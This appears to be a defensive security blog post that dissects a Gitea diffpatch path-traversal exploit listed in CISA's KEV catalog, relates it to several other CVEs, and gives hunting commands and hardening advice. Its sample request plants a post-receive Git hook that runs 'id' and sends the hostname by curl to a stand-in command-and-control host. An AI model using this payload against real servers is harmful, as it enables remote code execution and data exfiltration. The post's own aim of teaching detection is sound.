Anatomy of a working exploit
Proofs of concept age poorly when they read like magic tricks. The interesting question is never "does the exploit run?" but "which primitive did the researcher chain, and where does that primitive live in your environment?" This post takes the freshest KEV entries as raw material, dissects one PoC end to end, then generalizes the pattern so blue teams can hunt for the same shape elsewhere.
The lead specimen is CVE-2026-60004, a Gitea code injection added to the CISA Known Exploited Vulnerabilities catalog on 2026-08-25. CISA's summary runs to four steps: an attacker with repository write access sends a malicious patch to the diffpatch API endpoint, plants an executable Git hook, and runs shell commands as the Gitea service account. Four moving parts, one working exploit.
Precondition: an authenticated writer
The exploit does not begin at a login page. It begins after an attacker has write access to at least one repository on the Gitea instance. This is not exotic in practice. Any of the following qualifies: a stolen personal access token, a compromised developer laptop, a self-registered account on an instance that allows public sign-up and repo creation, or an over-scoped CI service account whose token leaks into a build log. Push access to any repo is enough to call the API the exploit abuses.
The takeaway for defenders: write access is the exploitation surface. Any control that leaks a PAT, any policy that lets anonymous users self-register into a workspace with repo creation rights, and any CI runner that reuses a long-lived token extends the attack path for this CVE.
Primitive: a diff that writes outside the diff
The diffpatch API endpoint applies a patch to a repository as part of an in-browser edit flow. The vulnerability: the patch parser did not constrain where the resulting file writes could land. A carefully framed patch header encodes a path that escapes the working tree into the repository's .git/hooks directory. The whole primitive is a controlled write of controlled bytes to a controlled path, executed by the Gitea process.
The following request illustrates the PoC shape. The exact wire format is intentionally omitted; the goal is to make the anatomy legible, not to hand out a copy-paste weapon.
POST /api/v1/repos/{owner}/{repo}/diffpatch HTTP/1.1
Host: gitea.internal.example
Authorization: token <redacted>
Content-Type: application/json
{
"branch": "main",
"message": "chore: harmless typo",
"content": "--- a/README.md\n+++ b/../../.git/hooks/post-receive\n@@\n+#!/bin/sh\n+id > /tmp/pwn.$$\n+curl http://c2.example/$(hostname)\n"
}
Three things stand out. First, the destination path in the +++ header uses .. segments to escape the checked-out tree. Second, the content of the "patched" file is a shell script starting with a shebang. Third, post-receive is the hook name; Git runs it after the next push completes on the server. The parser accepted the traversal, wrote the shebang blob to the hooks directory, and the endpoint wrote the file executable.
Trigger: whose finger is on the fuse
Planting a hook is not yet execution. The hook fires the next time the repository receives the corresponding lifecycle event. post-receive runs after a push; post-update runs after refs are updated. On a busy repo the trigger arrives within minutes; on a quiet one the attacker simply pushes an empty commit. The shell payload then executes as the Gitea service account, typically a system user with read access to every repository on disk, the SSH host keys, and often database credentials in a nearby config file.
The generalized shape
The same anatomy appears in three other entries from the same KEV window.
CVE-2026-66384 in JFrog Artifactory is described by CISA as an "improper limitation of a pathname to a restricted directory," allowing an authenticated user to write data outside the intended Docker cache path under specific remote-repository conditions. Same primitive class: authenticated write, path traversal, controlled bytes on disk. The trigger differs (a subsequent pull that treats the poisoned cache entry as valid), but the family is identical.
CVE-2026-73570 in Zimbra Collaboration Suite reaches the same anatomy by a different route. An unauthenticated attacker sends a specially crafted SMTP request; the server passes attacker-controlled bytes into a shell context; commands run as the Zimbra user. The primitive is command injection rather than file write, but the payoff is the same: code execution as a service account that owns mail spools and directory data.
CVE-2021-23758 in Ajax.NET Professional is the deserialization variant. Untrusted bytes reach a .NET deserializer that instantiates arbitrary types, and the type graph does the rest. The gate is different, the plumbing is different, and the mitigation is different, but the exploit anatomy holds: attacker-controlled input crosses a trust boundary into a mechanism that treats it as code.
Even the older Linux entries in this KEV window rhyme with the shape. CVE-2015-5287 in Red Hat ABRT is a symlink race on a predictable filename: a local user substitutes a symlink at the right moment and turns a privileged file operation into a controlled write. CVE-2015-3246 in libuser races /etc/passwd updates to corrupt the file or escalate privilege. Different subsystems, same story: a legitimate write primitive plus attacker-controlled placement equals control of the outcome.
What to hunt for
Working exploits leave residue. For the Gitea case, the highest-signal detections are cheap:
# Non-standard hook files anywhere under Gitea data
find /var/lib/gitea/git/repositories -type f \
-path '*/hooks/*' -newer /var/log/last_patch_scan \
! -name '*.sample' -printf '%TY-%Tm-%Td %p\n'
# API calls to the diffpatch endpoint from tokens that
# do not belong to your web UI
grep -E 'POST /api/v[12]/repos/.+/diffpatch' /var/log/gitea/access.log \
| awk '$0 !~ /User-Agent: Mozilla/ {print}'
Extend the same logic to the sibling CVEs. For Artifactory, alert on cache entries whose on-disk path does not match the repository key that requested them. For Zimbra, monitor for SMTP transactions that spawn child processes under the zimbra user outside the normal MTA process tree. For any deserialization-prone .NET application still in production, an EDR rule for BinaryFormatter.Deserialize on non-allowlisted inputs is a one-line win.
Defensive posture
Patch first; CISA's KEV entries carry due dates and the affected vendors have shipped fixes. Beyond patching, the anatomy above suggests three durable controls. Constrain write scopes so a compromised token cannot reach a lifecycle-triggered surface. Make service accounts boring: no shell, no home directory writes, no ambient credentials in their environment. Treat every "apply a patch," "import a repository," "restore from backup," and "cache a remote artifact" endpoint as an execution surface, because to an exploit author, that is exactly what it is.
Working exploits are not folk magic. They are small, legible chains of primitives that your telemetry can see, if you know which shape to watch for.
Verifiable security.